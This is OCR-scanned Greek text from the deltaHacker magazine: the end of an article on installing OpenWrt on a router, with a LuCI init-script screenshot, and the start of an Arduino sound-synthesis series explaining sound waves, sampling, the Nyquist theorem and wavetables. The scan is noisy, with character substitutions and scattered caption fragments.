αλλαγές θα εφαρμοστούν και η μνήμη του μικρού µας router θα μοιάζει 
να ἐχει αυξηθεἰ κατὰ μερικὲς δεκάδες megabytes. 


Νομίζουμε ὁτι τώρα εἶναι η καταλληλότερη στιγμὴ για να ορίσουμε 
£vav ισχυρὀ κωδικὀ για τον χρήστη root. Χωρίς αυτὸν τον κωδικὀ, ο 
SSH server και μερικὲς ακόμα υπηρεσίες θα εἶναι (και θα παραμένουν) 
απενεργοποιηµένες. O ορισμός κωδικού γίνεται πανεύκολα, anó το 
μενού Administration. Μετά κι απὸ αυτὸ μπορούμε να αρχίσουμε τις 
εγκαταστάσεις! Πα αρχἠ μπορούμε να εγκαταστήσουμε το htop και TO 
nano -- δύο αγαπημένα εργαλεία του γράφοντα. Το πρῶτο εἰναι ἑνας 
πολύχρωμος text-based task manager και το δεύτερο ἑνας αρκετά 
απλὸς kai δυνατὸς text editor. Βέβαια, ὁπως καταλαβαίνετε, ο καθένας 


a 


Xi 


: 
gf 192.168.1.1 - PuTTY Leu 


28MB διαθέἑσιµης 
µνήµης RAM και 
άλλα 128MB yia 
swap. Πρόκειται 
για ἑναν παράδεισο 
αφθονίας, όταν µι- 
λάμε για éva απλὀ 
ρουτερόκ!ι 
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µπορεί va προσθέσει οτιδήποτε θέλει. Θα μπορούμε για παράδειγµα να 
εγκαταστήσουμε το vsftpd ἡ ro pureftpd, κάποιον torrent client, £vav 
web server και πάει λέγοντας. 


Επίλογος 


Δεν εγκαταστήσαμε απλά ἑνα διαφορετικὀ firmware στο router µας 
αλλά του δώσαμε ἄλλον αέρα. Καταφέραμε va παρακάµψουµε τα δύο 
μεγαλύτερα εμπόδια: Τον περιορισμένο αποθηκευτικὀ χώρο και τη 
στενόχωρη μνήμη RAM. Θεωρητικά, μπορούμε va εγκαταστήσουμε 
όποιο πρὀγραμμα θέλουμε. Δυστυχώς, ὁμως, τα router δεν εἶναι 
κατασκευασμένα yia να σηκώσουν οποιαδήποτε εφαρμογή. Παρόλα 
aura, εἰμαστε σίγουροι ὁτι θα μείνετε µε το στόμα ανοιχτὀ. Περισσότερα 
στο άρθρο nou αρχίζει απὀ τη σελίδα 66, του deltaHacker nou κρατάτε 
στα χέρια σας ;) 


Κάθε φορά που 
θέλουμε να τροπο- 
ποιήσουµε μόνιμα 
τη διευθέτηση 

των κατατµήσεων, 
πρέπει να ενερ- 
γοποιούμε και TO 
fstab. Διαφορετικά, 
οι ρυθμίσεις µας θα 


χάνονται! 
Γ ΕΠΕ τὰ 
Γ OpenWrt - Startup - LuCI x N T - — 
€ > Œ fi |[)19216811/cgi-bin/luci/;stok-711bf941e28406378342f0cef02b5a11/admin/system/startup/ x Me = 


OpenWrt | OpenWrt Backfire 10.03.1 | Load: 0.09 0.06 0.02 


Status 


No password set! 
There is no password set on this router. Please configure a root password to protect the web interface and enable SSH. 
Go to password configuration... 


Initscripts 


You can enable or disable installed init scripts here. Changes will applied after a device reboot. 
Warning: If you disable essential init scripts like "network", your device might become inaccesable! 


Start priority Initscript Enable/Disable Start Restart i 
| o rcs (Enabled By Start E Restart ]5ιορ | 
0 umount (Disabled ελ διαη 2 Restart &)Stop ὶ 
5 defconfig GEnabled Star É Restart «stop | W 
5 luci. fixtime Enabled Start S Restart i€)Stop j 
10 boot Õ Enabled BStart Restart &]Stop | 
20 fstab Õ Enabled BStar S Restart i]Stop i 
39 usb O Enabled Start i$ Restart &]Stop i 
40 network (Enabled (Start S Restart &)Stop 
45 firewall (Enabled [η & Restart i]Stop 
50 cron (Enabled Stat S Restart i«]Stop 
| 50 dropbear Enabled Stat € Restart i]Stop 
50 telnet Enabled (3JStart E Restart &]Stop 
50 uhttpd © Enabled [3518π f£ Restart &]Stop 
59 luci, dhcp, migrate Enabled (Start S Restart Stop 1 
60 dnsmasq (Enabled BStat S Restart Stop ὶ 
35 done (Enabled δική £ Restart i]Stop i 
96 led (Enabled Start 2 Restart &]Stop ὶ 
i 97 watchdog QEnabled (Bjstart ££ Restart &]Stop μα - 


Ὁ 
E o | <- «Arduino Sound Master 


μαζί σας! , 
part 1/óco χρειαστεί 


Tags: sampling 
frequency, fixed 
point, phase 
accumulator, 
dds, unions 


. "$&uvüaétovrac 
- το κύμα 


Θυμόσαστε την καταιγιστικἠ ηλεκτρονικἠ 
μουσικἠ, που συνόδευε τα παιχνίδια την 
εποχἠ των arcades; Εἶναι το ἴδιο εἶδος 
μουσικἠς που ακούμε ὀταν τρέχουμε 
ορισμένα key generators. O ἠχος aurov των 
koppariov θυμίζει τα παλιά synthesizers 
κι εδὠ nou τα λέμε, παράγεται µε 
παρόμοιες τεχνικές! Πὼς θα σας φαινόταν 
η ιδέα va εμβαθύνουμε στο θέµα, WOTE 
va προσθέσουµε ἦχο στο Arduino και 
l στις κατασκευές που στήνουμε γύρω TOU; 
Προσοχή: Δεν μιλάμε για μερικἁ βαρετὰ 
beep, αλλὰ για πολλὲς νότες, πολλὰ ὀργανα, 
πολλές φωνὲς και πολλὰ εφέ! 


lL N 
a 


38 


WV'HAGIKER 


ÁN 


H µουσικἠ των παλιὼν ηλεκτρονικὠν παιχνιδιὼν aokei γοητεία σε 
μηχανικούς, σε προγραμματιστὲς αλλά και σε μουσικοὺς. Οι μηχανικοί 
θαυμάζουν την απλἠ αλλά ἐξυπνη σχεδἰαση rou hardware, η onoia 
επέτρεπε την napayoyr ἠχου απὀ εξαιρετικά απλά κυκλώματα. 
Οι προγραμματιστές θαυμάζουν ra πανέξυπνα τεχνάσματα που 
επιστρατεύονταν για τη σύνθεση ἠχου στο φτωχικὀ hardware της 
εποχἠς, ενώ οι μουσικοί θαυμάζουν τους ευρηματικούς συνδυασμούς των 
απλών και περιορισμένων ἠχων. Τα παραπάνω εξηγούν και το γεγονὸς 
OTI η σκηνἠ των demo coders ἐχει αποκτήσει va ολόκληρο παρακλάδι, 
αφιερωμένο στην εξομοίωση του παλιού hardware kai στη σύνθεση των 
αντίστοιχων μουσικών κομματιών. O λόγος γίνεται για ra chiptunes! 


Στη σειρὰ ἄρθρων που ξεκινάει µε το παρὸν, ασχολούμαστε µε την 
παραγωγἠ ἠχου στο Arduino. Θα εξετάσουμε παλιὰ προγραμματιστικἁ 
τεχνάσματα, ὀχι μόνο για τη σύνθεση µιας μουσικἠς νότας αλλά και yia TN 
δηµιουργία ηχητικών εφὲ, την αυτοματοποιημένη σύνθεση μουσικἠς! και, 
σε κάποιο βαθμὀ, την εξομοίωση των npayparikov μουσικὠν οργάνων. 
Θέλετε va χαρἰσετε στο Arduino τον χαρακτηριστικὀ «ηλεκτρικὀ» ἠχο, 
τον παραφορτωμένο µε coż, που ακούγαμε στα παλιὰ ηλεκτρονικά 
παιχνίδια; Θέλετε va το μετατρέψετε σε ἑνα μικρὀ synthesizer, το οποίο 
θα ακούγεται σαν πιάνο, κιθάρα ἡ κάποιο ἆλλο ὀργανο; Θέλετε να 
αυτοσχεδιάζει kai να σας παἰζει κομμάτια δικής του ἐμπνευσης; E, λοιπὸν, 
εμεὶς θέλουμε να κάνουμε όλα τα παραπάνω -- και θα φροντίσουμε γι’ 
αυτό! Στο μέλλον, εκτὸς απὀ ενδιαφέρουσες, οι κατασκευὲς µας µε TO 
Arduino θα εἶναι και... groovy ;) 


Θεμελιώδες ζήτημα 


Για να δημιουργήσουμε ἠχο µε το Arduino, yia va συνθέσουµε ἑστω και 
μία µουσικἠ νότα χρησιμοποιώντας προγραμματιστικὲς μεθόδους, πρέπει 
πρώτα να ξέρουμε τι εἶναι ο ἦχος. Γενικότερα, η ενασχὀλησή µας µε ro 
θέμα προὐποθέτει την κατανόηση της φύσης rou ἠχου. Τι εἶναι ο ἦχος, 
λοιπὸν; Στο δηµοτικὀ ακούγαμε το δάσκαλο να μιλάει για πυκνώματα KI 
αραιώματα στα μόρια του αἐρα (ἡ κἀποιου ἄλλου σώματος), ra οποία 
διαδίδονται «αλυσιδωτά» και φτάνουν στο auri µας. Αργότερα ακούσαμε 
και ἄλλες περιγραφές. Μάθαμε ὁτι ο ἦχος αποτελείἰ µια διαταραχἠ, η οποία 
διαδίδεται σφαιρικἀ στο χώρο, ενώ προὐποθέτει την παρουσία κάποιου 
μέσου διάδοσης κι ápa δεν διαδίδεται στο κενό. Ανεξάρτητα anó την 
περιγραφὴ που κατανοεί ο καθένας καλύτερα, εµεἰς θα κρατήσουμε μόνο 
τη συμπύκνωση των παραπάνω: O ἦχος αποτελεἰ ἑνα μηχανικὀ κύμα. 
Με ἄλλα λόγια, ο ἦχος συνιστά την παλινδρομικἠ κίνηση των μορίων του 
εκάστοτε μέσου διάδοσης. 


H συμπὐκνωσὴ µας ακούγεται πολὺ αφηρημένη, αλλά o ὀρος 
«παλινδρομικἠ κίνηση» ἐχει ιδιαίτερο ενδιαφἐρον. Βλέπετε, θυμίζει τις 
αρμονικἐς ταλαντώσεις. Πα va εἰμαστε ακριβείς, οι αρμονικὲς ταλαντώσεις 
αποτελούν µια περίπτωση παλινδρομικἠὴς κἰνησης. Αναρωτιέστε τι 
το ενδιαφἐρον βρίσκουμε σε ὁλα αυτά; Οι αρμονικὲς ταλαντώσεις 
περιγράφονται εὐκολα µε μαθηματικοὺς όρους -- και συγκεκριµένα µε 
τις τριγωνομετρικὲς συναρτήσεις. Μην ανησυχείτε, δεν σκοπεύουµε να 
το γυρίσουμε ξαφνικὰ στα μαθηματικὰ. Μπορεί η τριγωνομετρἱα να µην 
ἠταν ποτέ το αγαπημένο σας μάθημα”, αλλά εἰμαστε βέβαιοι ότι έχετε δει 
πολλὲς φορὲς τη γραφικἠ παράσταση µιας ημιτονοειδούς συνάρτησης 


1. Ναι, καλά διαβάσατε. Δεν αναφερόμαστε στη σύνθεση ήχου, αλλά στη δηµιουργία μουσικών κομματιών! 
2. Οὐτε και στον γράφοντα άρεσε ιδιαίτερα, όταν πήγαινε σχολείο ;) 
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ἡ ενὸς ημιτόνου, ὀπως λέμε. E, 
λοιπὀν, av πάρουμε µια σκέτη 
µουσικἠ νότα (διαλέξτε  Ónoia 
θέλετε), το αντίστοιχο ηχητικὀ 
κύμα αποτελεί μια αρμονική 
ταλάντωση και άρα περιγράφεται 
τέλεια απὀ éva ηµἰτονο. Αν ακόµα 
δεν έχετε καταλάβει τι εἶναι αυτὸ 
που µας ενθουσιἀζει, σκεφτείτε το 
εξής: Πα να δημιουργήσουμε µια 
νότα προγραμματιστικά, πρέπει 
va υλοποιήσουμε µια ηµιτονοειδἠ 
συνάρτηση. Aur η σκέψη δεν 
αρκεἰ yia να λύσουμε το πρόβλημα 
της σύνθεσης ἠχου, αλλά αποτελεὶ 
μια καλὴ αρχή! 


Κρίσιμα ερωτήματα 


Μπορεἰ va ξεκαθαρἰσαμε κάπως ro ronio σχετικἀ µε τη φύση του ἠχου, 
αλλὰ εἶναι σίγουρο ὁτι o! παραπάνω περιγραφὲς ἐχουν δημιουργήσει 
αρκετὲς απορίες: Πώς γίνεται να περιγράφονται *óAgG* οι νότες απὀ 
μια ηµιτονοειδἠ συνάρτηση; Ti εἶναι αυτὀ που αλλάζει και μπορούμε va 
ακούσουμε µια νότα σε διαφορετικὲς εντάσεις; Αν µια νότα περιγράφεται 
πάντα απὀ το ἰδιο ημίτονο, τότε γιατὶ οι νότες ακούγονται διαφορετικά 
στο πιάνο, απ’ ὁτι στην κιθάρα ἡ σε κἄποιο ἄλλο ὀργανο; Ta σχετικἀ 
ερωτήματα εἶναι ατελείωτα, αλλά για τους σκοπούς µας αρκεί να 
απαντήσουμε στα συγκεκριµένα τρία. Ας τα πάρουμε µε τη σειρὰ. 


Κάθε καθαρή νότα, απομονωμένη anó ἄλλους ἠχους, περιγράφεται απὀ 
µια ηµιτονοειδἠ ταλάντωση. Αυτό που αλλάζει απὀ νότα σε νότα εἰναι η 
συχνότητα αυτής της ταλάντωσης. Ἔτσι, η νότα Λα της τέταρτης οκτἆβας 
(ονομάζεται και μεσαία’ Λα) αποτελεί µια ημιτονοειδὴ ταλάντωση µε 
συχνότητα στα 440Hz, ενώ η μεσαία Ντο εἶναι επίσης µια ηµιτονοειδἠς 
ταλάντωση, αλλά µε συχνότητα 261.6Hz. Πα τους οπτικοὺς τύπους, 
να πούμε Or! το ημίτονο της μεσαίας Ντο μοιάζει va ἐχει τραβηχτεὶ και 
απλωθεῖὶ, σε ox&or µε εκεἰνο της μεσαίας Λα. Έχει χαμηλότερη συχνότητα 
και εἶναι πιο... αραιό! Γενικότερα, ὁσο πιο µπάσα εἶναι µια νότα, τόσο 
μικρότερη εἶναι η συχνότητα της αντίστοιχης ταλάντωσης. Αντίθετα, η 
συχνότητα της ταλάντωσης αυξάνει, ὁσο πιο npipa εἶναι η αντίστοιχη 
νότα. 


H ένταση στην οποία ακούμε µια νότα, περιγράφεται ακόμα πιο απλά: 
Πρόκειται για το πλάτος της ταλάντωσης. Μεγαλύτερη ένταση σημαίνει 
μεγαλύτερο πλάτος και το αντίθετο. Το τρίτο ερώτημα εἶναι πιο στρυφνὀ. 
Ουσιαστικἁ, θα μπορούσε να διατυπωθεί ως εξἠς: Πατὶ αλλάζει η χροιά 
(το ηχὀόχρωµα) µιας νότας, απὀ ὀργανο σε ópyavo; 


Μέχρι στιγμής, αναφερόμασταν στις *ka8ap£G* εκδοχὲς κάθε νότας 
rl, αν θέλετε, στην ιδανικἠ τους εκδοχἠ. Στην πραγματικότητα, ὁμως, 
δεν υπάρχει κανένα μουσικὀ ὀργανο το οποίο να παράγει μεμονωμένες 
αρμονικὲς ταλαντώσεις και κατ’ επἑκταση απόλυτα καθαρὲς νότες. Όταν 
πατάμε τη μεσαὶα Λα σε ἑνα πιάνο, παράγεται µια ηµιτονοειδής ταλάντωση 
στα 440Hz, αλλὰ ταυτόχρονα παράγονται και nápa πολλὲς ακόμα 
ταλαντώσεις, σε πολλαπλάσιες και υποπολλαπλάσιες συχνότητες. Φυσικά, 


3. Ο χαρακτηρισμὀς «μεσαία» μπορεί να χρησιµοποιηθεί για όλες τις νότες της τέταρτης οκτάβας, 


Ένας µπάσος ἦχος 
ἐχει χαμηλότερη 
συχνότητα 

σε σχέση µε 

£vav πρίμο. H 
πάνω γραφική 
παράσταση 
περιγράφει ἑνα 
ηχητικὀ κύμα 
μεγαλύτερης 
συχνότητας, 

σε σχέση µε TO 
ηχητικὀ κύμα που 
περιγράφεται απὀ 
την ἄλλη καμπύλη. 
Επομένως, 

ο ήχος που 
περιγράφεται anó 
την πάνω γραφική 
παράσταση εἰναι 
πιο πρίμος. 


H ένταση του 
ήχου εξαρτάται 
απὀ ro πλάτος της 
ταλάντωσης που 
πραγματοποιούν 
τα μόρια του aépa 
-- ἡ του εκάστοτε 
μέσου διάδοσης. 
Επομένως, η 
διαφορά της 
έντασης μεταξύ 
δύο ήχων 
αποτυπώνεται 
ξεκάθαρα και 

στις αντίστοιχες 
γραφικές 
παραστάσεις. 
Αυτές της εικόνας 
περιγράφουν 
ήχους της ἰδιας 
συχνότητας, αλλά 
διαφορετικής 
έντασης. 
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όπως μαντεύετε, η ταλάντωση στα 


440Hz ἐχει μεγαλύτερο πλάτος σε 
σχέση µε τις υπόλοιπες και εἶναι η 
επικρατέστερη. Ακριβώς γι’ αυτό, 
στην περίπτωση της μεσαίας Λα η 
συχνότητα των 440Hz ονομάζεται 
και θεμελιώδης αρμονική. H 
συγκεκριμένη ταλάντωση εἰναι 
εκείνη που µας κάνει να λέμε ὁτι 
ακούμε τη μεσαία Λα, αλλά στην 
πραγματικότητα δεν ακούμε μόνον 
αυτήν! Κάπου εδώ κρύβεται και uia 
A A A anó ric διαφορἑς που παρουσιάζουν 
μεταξὺ τους τα μουσικὰ ὀργανα. 

X v V Από ὀργανο σε ὀργανο, το πλάτος 
της θεμελιώδους αρμονικής 

(της νότας nou παίζουμε), ἐχει 

διαφορετικἠ σχέση µε τα πλάτη των υπόλοιπων ταλαντώσεων. Μια ακόμα 
διαφορὰ μεταξὺ των μουσικών οργάνων, σχετίζεται µε το ρυθµὀ nou 
μεταβάλλονται τα πλάτη των ταλαντώσεων. Βλέπετε, órav παΐζουμε μία 
νότα, η ἐντασή της αρχικἁ αυξάνεται evo σύντομα αρχίζει να μειώνεται. 
O ρυθμὸς αυτών των μεταβολῶν, τόσο yia την θεμελιώδη αρμονική, όσο 
και για τις υπόλοιπες, παἰζει σημαντικὀ ρὀλο στο nxóxpopa του οργάνου. 


Αν ÓÀn αυτή η ιστορία µε το nxóxpopa σας ἐχει τρομάξει, µπορείτε να 
χαλαρώσετε. Στο παρὀν άρθρο θα ασχοληθούμε µε απλούστερα ζητήματα. 
Αργότερα, ὀταν θα έχουμε χωνέψει τα απλά, θα προχωρήσουμε και στα 
πιο σύνθετα. 


Ψηφιοποίηση 


Μέχρι στιγµἠς έχουμε βεβαιωθεἰ για éva και μόνο πράγμα: H σύνθεση 
ἠχου προὐποθέτει την υλοποίηση ημιτονοειδὼν συναρτήσεων. Ας 
υποθέσουμε Ori τις έχουμε φτιάξει --δεν εἶναι και τόσο δύσκολο πια. Τι 
πρέπει να κάνουμε μετά; Πώς θα μετατρέψουμε αυτά τα ημίτονα σε ἦχο, 
για να τα ακούσουμε; 


Σε γενικὲς γραμμὲς, o okonóg µας εἶναι va μετατρέψουµε µια αλληλουχία 
αριθμών” σε ηχητικὀ κύμα. Επομένως, νομἰζουµε ὁτι εἶναι χρήσιμο 
να εξετάσουμε τη διαδικασία της Ψηφιοποίησης, αλλά και αυτήν 
της αναπαραγωγἠς ενὸς μουσικού κομματιού anó τον υπολογιστή. 
Ας υποθέσουμε, λοιπὸν, ὁτι θέλουμε va ψηφιοποιήσουμε τον ἠχο 
ενὸς μουσικού οργάνου -- ενός μπουζουκιού για παράδειγµα. Πα va 
κατανοήσουμε καλύτερα όσα συμβαίνουν, θα περιγράψουμε την πορεἰα 
του ηχητικού σήματος, μέχρι να φτάσει στη μνήμη του υπολογιστή. 


Αρχικά, µε τη βοήθεια του μικροφώνου, η μηχανικἠ ταλάντωση (ο ἦχος 
TOU μπουζουκιού) μετατρέπεται σε µια ηλεκτρική ταλάντωση. Με ἄλλα 
λόγια το μικρόφωνο παράγει µια τάση, η οποία μεταβάλλεται όπως 
ακριβώς μεταβάλλονται τα πυκνώματα και τα αραιώματα του ηχητικού 
κύματος. Στη συνέχεια, αυτή η τάση εισἐρχεται σε ἑναν ADC (Analog 
to Digital Converter). Όπως αντιλαμβάνεστε, απὀ την ἐξοδο αυτού του 
κυκλώματος παϊρνουμµε µια αλληλουχία αριθμών, οι οποίοι κατευθύνονται 
στη μνήμη του υπολογιστή. Κάπου εκεί, η διαδικασία ψηφιοποίησης ἐχει 


4. Αναφερόμαστε στις τιμὲς που δίνει µια ηµιτονοειδἠς συνάρτηση. Με ἄλλα λόγια, στις τιμὲς εκείνες nou 
περιγράφουν την αντίστοιχη ηµιτονοειδἠ καμπύλη. 
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ολοκληρωθεί. Ὅμως, τι σὀι αριθμοί εἶναι auroi και πὼς περιγράφουν την 
ηλεκτρική ταλάντωση; 


Το ηλεκτρικὀ σήμα που περιγράφει τον ἦχο του μπουζουκιού, αποτελεἰ 
µια διαρκώς µεταβαλλόμενη τάση. O ADC λοιπὸν, διαβάζει αυτήν την 
τάση σε τακτά χρονικὰ διαστήματα και µας δίνει τις αντίστοιχες τιμές. 
Αυτὲς οι τιμὲς αποτελούν στιγμιότυπα της τάσης του ηλεκτρικού 
σήματος και γι’ αυτὀ ονομάζονται δείγματα (samples). Εἶναι φανερὀ 
ότι ògo πιο συχνά λαμβάνει δείγματα o ADC, τόσο πιο πιστἠ θα εἶναι 
η περιγραφἠ του ηλεκτρικού σήματος. Και κάπως έτσι προκύπτει TO 
επόμενο ερώτημα: Με ποια συχνότητα πρέπει να λαμβάνει δείγματα ο 
ADC; Αυτή η συχνότητα ονομάζεται συχνότητα δειγματοληψίας (samp- 
ling frequency) και μπορεὶ να εἶναι οσοδἠποτε μεγάλη! Πα την ακρίβεια, 
όσο αυξάνεται, τόσο καλύτερη εἰναι η περιγραφἡ του αρχικού σήματος. 
Επομένως, η συχνότητα δειγματοληψίας μοιάζει να µην ἐχει ἄνω ὁριο». 
Αντίθετα, ἐχει va σαφὲς κάτω ὁριο, το οποίο προσδιορίζεται στο 
θεώρημα της δειγματοληψίας (Harry Nyquist και Claude Shannon). Ev 
ολίγοις, αυτό ro θεώρημα λέει ὁτι η συχνότητα δειγματοληψίας πρέπει 
να εἶναι Ἀτουλάχιστον3Ά διπλάσια anó τη μέγιστη συχνότητα που περιέχει 
TO αρχικὀ σήμα. Επομένως, av ο ἦχος του μπουζουκιού µας περιλαμβάνει 
αρμονικὲς µε συχνότητες ως και τα 12ΚΗΖ6, η συχνότητα δειγματοληψίας 
θα πρέπει να εἶναι ἙτουλάχιστονἜ 24Khz. 


Αναπαραγωγἠ 


Στη διαδικασία της ψηφιοποΐησης εμπλέκεται ro ενδιαφἑρον θεώρημα της 
δειγματοληψίας. Τι γίνεται ἄραγε κατά την αναπαραγωγἠ; Υπάρχει καμία 
παγίδα εδώ; Ας υποθέσουμε ὁτι ἐχουµε τον ἠχο του μπουζουκιού µας σε 
ψηφιακἠ µορφή και ότι ζητάμε απὀ τον υπολογιστή va τον αναπαραγάγει. 
O υπολογιστής µας θα αρχίσει τότε να στέλνει τα δείγματα σε £vav DAC 
(Digital to Analog Converter). Όπως καταλαβαίνετε, αυτό το κύκλωμα 
δέχεται στην εἰσοδό του αριθμούς και στην ἑξοδὸ του παρέχει τις 
αντἰστοιχες τάσεις. Με auróv τον τρόπο, στην ἑξοδο rou DAC θα αρχίσει 
να σχηματίζεται σιγἀ-σιγά το ηλεκτρικὀ σήμα --η ηλεκτρικἠ ταλάντωση-- 
που περιγράφει τον ἦχο του μπουζουκιού. Από 'κει κι ύστερα νομἰζουµε ὁτι 
ξέρετε τη συνέχεια: Το ηλεκτρικὀ σήμα θα οδηγηθεί σε κἄποιον ενισχυτἠ 
κι anó εκεἰ θα αναχωρήσει yia τα ηχεία µας, ónou και θα μετατραπεί σε 


5. Τουλάχιστον ὀχι στη θεωρία. Στην πράξη θα ἦταν ιδιαίτερα δύσκολο να κατασκευαστεἰ ἑνας ADC µε 
συχνότητα δειγματοληψίας κοντά στα 172yottaHerz... Χώρια nou θα ἦταν ἄχρηστος! Στην περίπτωση της 
ψηφιοποίησης ἠχου, κανένας δεν θα μπορούσε να αντιληφθεί τη διαφορἀ απὀ évav ADC µε συχνότητα 
δειγματοληψίας κοντά στα 100KHz ;) 

6. Η τιμή επιλέχθηκε σχεδὀν τυχαία, αλλά δεν επηρεάζει την ισχύ του παραδείγματος. 


Η ψηφιοποίηση 
TOU ήχου ξεκινά µε 
τη μετατροπή του 
μηχανικού κύματος 
σε µια ηλεκτρική 
ταλάντωση. Στη 
συνέχεια αυτή 

η ταλάντωση 
“δειγματίζεται”. 
Διέρχεται απὀ ἑνα 
ειδικὀ κύκλωμα, 
το οποίο μετράει 
τη στιγμιαία 

τάση αυτής της 
ταλάντωσης, σε 
τακτά χρονικά 
διαστήματα. 

Όσο πιο συχνά 
λαμβάνονται 
δείγματα, τόσο 

πιο πιστή θα 

είναι η ψηφιακή 
αναπαράσταση του 
ήχου. 
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μηχανικό κύμα. Όμως, µε ποιον ρυθμὸ πρέπει να φτάνουν τα δείγματα 
στον DAC; E λοιπὸν, η συχνότητα αποστολἠς’ των δειγμάτων στον DAC 
πρέπει να εἶναι ακριβώς ἰδιαξ µε τη συχνότητα λήψης τους από rov ADC, 
κατά την ψηφιοποίηση. Σε διαφορετικἠ περίπτωση, οι ταλαντώσεις που 
περιγράφουν τον ἦχο του μπουζουκιού θα εἰναι λίγο πιο απλωμένες ἡ λίγο 
πιο συμπιεσμένες στο χρόνο και o ἦχος θα ακούγεται λίγο πιο µπάσος ἡ 
Alyo πιο πρίμος anó το κανονικὀ. 


Πρὠτος σταθμός 


Πιστεύουμε ὁτι αυτή η ποσότητα θεωρίας εἶναι αρκετἠ yia ἑνα άρθρο και 
εἰμαστε σίγουροι ὁτι θα συμφωνήσετε! Το Kado εἶναι ότι µε ὀλες αυτὲς 
τις γνώσεις, μπορούμε ἠδη να αρχίσουμε τις κατασκευές. Αυτή τη φορά, 
λοιπὸν, θα φτιάξουμε va μικρὸ, απλοϊκὀ πιάνο. Λέμε μικρὀ διότι θα ἐχει 
μόνον επτάἁ πλήκτρα kai θα μὰς επιτρέπει να παίξουμε μόνο τις νότες µιας 
οκτάβας, χωρὶς τις διέσεις και τις υφέσεις. Το «απλοϊκό» κολλάει στο 
γεγονὸς ὅτι το πιάνο µας θα ἐχει μόνο µια φωνὴ, ενώ οι νότες που θα 
παράγει θα εἶναι καθαρὲς appovik£c, σταθερἠς ἐντασης. Με ἄλλα λόγια, 
το πιάνο µας θα μπορεί va παἰζει μόνο µία νότα κάθε στιγµή, evo για κάθε 
νότα θα παράγεται μόνο µια αρμονική: οι «γειτονικἐς» ταλαντώσεις, που 
δίνουν το ηχόχρωμµα του πιάνου, θα απουσιάζουν. Σε επὀµενα ἆρθρα θα 
εμπλουτἰσουμε το πιάνο µε περισσότερες φωνές, evo θα βελτιώσουμε και 
τον ἠχο του. Πάντως, µη νομίζετε ὁτι θα περιοριστούµε στα πιάνα! Απλά, 
αποφασίσαμε να ξεκινήσουμε µε κἀτι εὐκολο ;) 


Αποφάσεις και λίγη δράση 


Πριν καταπιαστούμε µε τα ημίτονα και τα δείγματα, πρέπει να 
υπογραμμίσουμε κάτι: Ta θέματα που εξετάζουμε ἐχουν anó μόνα τους 
αρκετή δυσκολία και δεν χρειάζεται να περιπλἐξουµε τα πράγματα, 
δημιουργώντας πολύπλοκα κυκλώματα. Πα λόγους απλότητας, λοιπὸν, 
στο ρὀλο του DAC δεν θα επιστρατεύσουμε κάποιο εξωτερικὀ τσιπάκι, 
αλλά θα χρησιμοποιήσουμε ἑνα anó τα κανάλια PWM του Arduino?. Με τη 
βοἠθειἁ του θα σχηματἰζουμε τη μία στάθμη τάσης μετά την ἄλλη, ώστε 
σιγἀ-σιγἁ να συγκροτείται µια ηλεκτρική ταλάντωση. Προφανώς, θα 
φροντίζουμε ὥστε η συχνότητα αυτἠς της ταλάντωσης να ταυτίζεται µε 
εκεἰνη της επιθυμητἠς νότας. Έτσι, ὅταν η εν Aóyo ταλάντωση καταλήγει 
σε κάποιο ηχείο, θα ακούμε την αναμενόμενη νότα. 


Ἐχοντας ξεμπερδέψει p' αυτή τη λεπτομέρεια, μπορούμε να ασχοληθούμε 
επιτέλους p’ εκεἰνα τα ρημάδια τα ημίτονα. Πώς στο καλὸ θα ra 
κατασκευάσουμε; H πιο απλἠ λύση θα ἦταν να χρησιμοποιήσουμε τη 
συνάρτηση sin(). Με τη βοἠθειἁ της μπορούμε να υπολογίσουμε ὀλες τις 
τιμὲς ενὀς ηµιτόνου, για οποιαδήποτε συχνότητα και πλάτος. Ωστόσο, οι 
συναρτήσεις αυτού rou εἶδους εκτελούνται πολὺ αργά και το πρὀγραμμὰ 
μας δεν θα προλαβαίνει να υπολογίζει κάθε δείγμα, πριν φτάσει η opa va 
στείλει το επόμενο. Μήπως auró σημαίνει ότι το Arduino εἶναι αδύνατο 
να παράγει αρμονικὲς ταλαντώσεις; Φυσικά και ὀχι! Απλά, avri να 
υπολογίζουμε uia προς uia τις τιμὲς του ημιτόνου, θα τις υπολογίσουμε 
όλες εξαρχἠς kai θα τις αποθηκεύσουµε σε évav nivaka της μνήμης RAM. 


Πάει κι αυτό. Τελικά, το πρὀγραμμά μας δεν θα στηρἰζεται σε κἄποια απὀτις 
χρονοβόρες ημιτονοειδεὶς συναρτήσεις, αλλά θα διαβάζει τις αντίστοιχες 


7. Ἡ συχνότητα αποστολἠς των δειγμάτων σε ἑναν DAC ονομάζεται «συχνότητα δειγματοληψίας», όπως 
ακριβώς και η συχνότητα λήψης των δειγμάτων anó ἑναν ADC. 

8. Παρεμπιπτόντως, για µια υλοποίηση του PWM µε περισσότερα anó ἐξι κανάλια δείτε το σχετικό άρθρο στο 
deltaHacker 007 (σελ. 62) 
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τιμὲς anó ἐναν nivaka. Παρεμπιπτόντως, να σημειώσουμε ὁτι αυτοί oi 
πίνακες ονομάζονται wavetables, αφού ro περιεχὸμενὀ τους περιγράφει 
µια πλήρη περίοδο µια ταλάντωσης (ἡ κύματος). Όπως υποψιάζεστε, 
ὁσο πιο αναλυτικὸς εἶναι ἑνας τέτοιος πίνακας, ὁσο πιο πολλὲς τιμὲς ἐχει 
δηλαδὴ, τόσο πιο σωστά θα σχηματίζονται οι ημιτονοειδεἰς ταλαντώσεις. 
Αυτὸ ὁμως δεν σημαίνει ὁτι πρέπει να τιγκάρουµε τη μνήμη rou Arduino 
µε ἑνα τεράστιο wavetable! H εξήγηση γι’ auró εἶναι απλἠ: Σκεφτείτε 
ότι όλα τα κανάλια PWM του Arduino, κάποιο απὀ τα οποία θα δέχεται 
τα δείγματα και θα λειτουργεἰὶ σαν DAC, ἐχουν ακρίβεια 8bit. Αυτό 
σημαίνει ὁτι κάθε κανἆλι μπορεἰ να περιγράψει το πολύ 256 διαφορετικὲς 
στάθμες τάσης. Apa και τα δεἰγματά µας θα πρέπει να περιγράφουν µια 
ηµιτονοειδἠ ταλάντωση µε μέγιστο πλάτος ro 256. Επἰσης, λάβετε υπόψη 
ότι κανένα κανάλι PWM δεν δέχεται δεκαδικὲς παραμέτρους. Με ἄλλα 
λόγια, ra δεἰγματά µας θα πρέπει να εἶναι ακἐραιοι αριθμοί. Εξαιτίας 
αυτών των περιορισμών, θα ἦταν περιττὸ να υπολογίσουμε περισσότερα 
απὀ 256 δείγματα. Αυτό µπορεί να το διαπιστώσει κανείς αμέσως, 
